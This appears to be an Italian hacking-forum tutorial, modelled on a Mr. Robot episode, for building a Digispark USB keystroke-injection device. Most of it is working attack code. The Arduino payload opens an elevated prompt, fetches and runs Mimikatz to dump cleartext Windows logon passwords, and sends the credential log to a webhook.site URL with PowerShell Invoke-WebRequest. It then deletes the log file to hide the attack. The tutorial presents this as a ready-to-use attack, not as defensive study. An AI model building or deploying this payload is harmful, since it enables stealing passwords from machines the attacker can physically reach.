Ultima modifica:
Se avete visto mr. robot vi ricordete sicuramente di quando Angela doveva smanettare con la femtocella e che se non ci fosse riuscita avrebbe dovuto prendere una rubber ducky con dentro Mimikatz e metterla in un PC dell'FBI, per ecco, oggi facciamo la stessa cosa ma con la Digispark.
mr. robot: stagione 2, episodio 6
Occorenti:
mr. robot: stagione 2, episodio 6
Occorenti:
1. Mimikatz
Katz è un Exploit scritto in C per Windows che riesce ad estrarre hash, pin, password in chiaro e molto altro dalla RAM, Scarichiamo il file .zip da Github ed estraiamo la cartella
Katz è un Exploit scritto in C per Windows che riesce ad estrarre hash, pin, password in chiaro e molto altro dalla RAM, Scarichiamo il file .zip da Github ed estraiamo la cartella
x64
se il nostro Windows è a 64 bit o Win32
se è a 32 bit; io lavoro da Windows 7 in virtual machine quindi userò quest'ultimo, runniamolo come Adminastrator facendo clic destro e andando sulla voce Run as administrator, Ora siamo pronti ad usare l'exploit, scriviamo:
Codice:
privilege::debug
log
sekurlsa::logonpassword
Col primo comando verifichiamo se abbiamo i diritti di root, se esce
privilege '20' OK
possiamo continuare, poi creiamo un file di log, dove verranno registrati tutti i comandi con i relativi input e infine col terzo mostriamo a schermo tutte le password che Windows salva in chiaro nella RAM:Se scorriamo giù possiamo vedere la password dell'account Windows:
Passw0rd!
Se ben ricordate, col, comando log, abbiamo creato un file .log, quel file contiene tutto l'input e output della shell di mimikatz, quindi per completare il nostro attacco basta inviarci quel file su webhook tramite il powershell.
2. Creazione del Payload
Ora programmiamo con Wiring un payload che andrà a scaricare mimikatz.exe e invierà il file di log al nostro sito webhook con powershell
Apriamo l'IDE di Arduino e iniziamo a programmare, ci servirà la libreria
KeybaordES.h
, si può scaricare da qui, per poterla usare la si deve aggiungere alla cartella appdata>local>arduino 15>packages>digistump>hardware>avr>libraries>digisparkkeyboard
, questo è il codice:
C++:
#include "KeyboardES.h"
void setup() {
// Download mimikatz.exe
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.print("powershell start-process cmd -Verb runAs"); // Open root cmd
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(300);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
DigiKeyboard.delay(300);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(200);
DigiKeyboard.print("curl -O mimikatz.exe");
DigiKeyboard.delay(700);
DigiKeyboard.print("exit");
// Start root mimikatz
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(200);
DigiKeyboard.print("powershell start-process C:/Windows/System32/mimikatz.exe -Verb runAs");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(300);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
DigiKeyboard.delay(300);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(700);
// password extraction
DigiKeyboard.print("privilege::debug");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("log");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(100);
DigiKeyboard.print("sekurlsa::logonpasswords");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(1000);
DigiKeyboard.print("exit");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
// Send log file
DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
DigiKeyboard.delay(800);
DigiKeyboard.print("powershell start-process cmd -Verb runAs");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(300);
DigiKeyboard.sendKeyStroke(KEY_A);
DigiKeyboard.delay(1000);
DigiKeyboard.sendKeyStroke(KEY_S, MOD_ALT_LEFT);
DigiKeyboard.delay(300);
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(700);
DigiKeyboard.print("powershell Invoke-WebRequest -UseBasicParsing -uri https://webhook.site/1d0c0f77-a605-45ab-ae63-3294f9716698 -Method POST -InFile mimikatz.log");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.delay(800);
// Deletions of mimikatzand log files
DigiKeyboard.print("del C:/Windows/System32/mimikatz/mimikatz.log");
DigiKeyboard.sendKeyStroke(KEY_ENTER);
DigiKeyboard.print("exit");
DigiKeyboard.delay(100);
}
void loop() {
// put your main code here, to run repeatedly:
}
Ora carichiamolo sulla digispark e testiamolo (Se qualcosa non va controllate bene i percosi dei file), teniamo aperto il nostro sito WebHook e inseriamo la chiavetta digispark nel PC e dopo circa 15 secondi dovrebbe aver finito, leviamo la chiavetta e torniamo al nostro PC per vedere tutte le informazione estratte:
Il file di log è arrivato correttamente al nostro sito WebHook.
./ghxst
Il file di log è arrivato correttamente al nostro sito WebHook.
./ghxst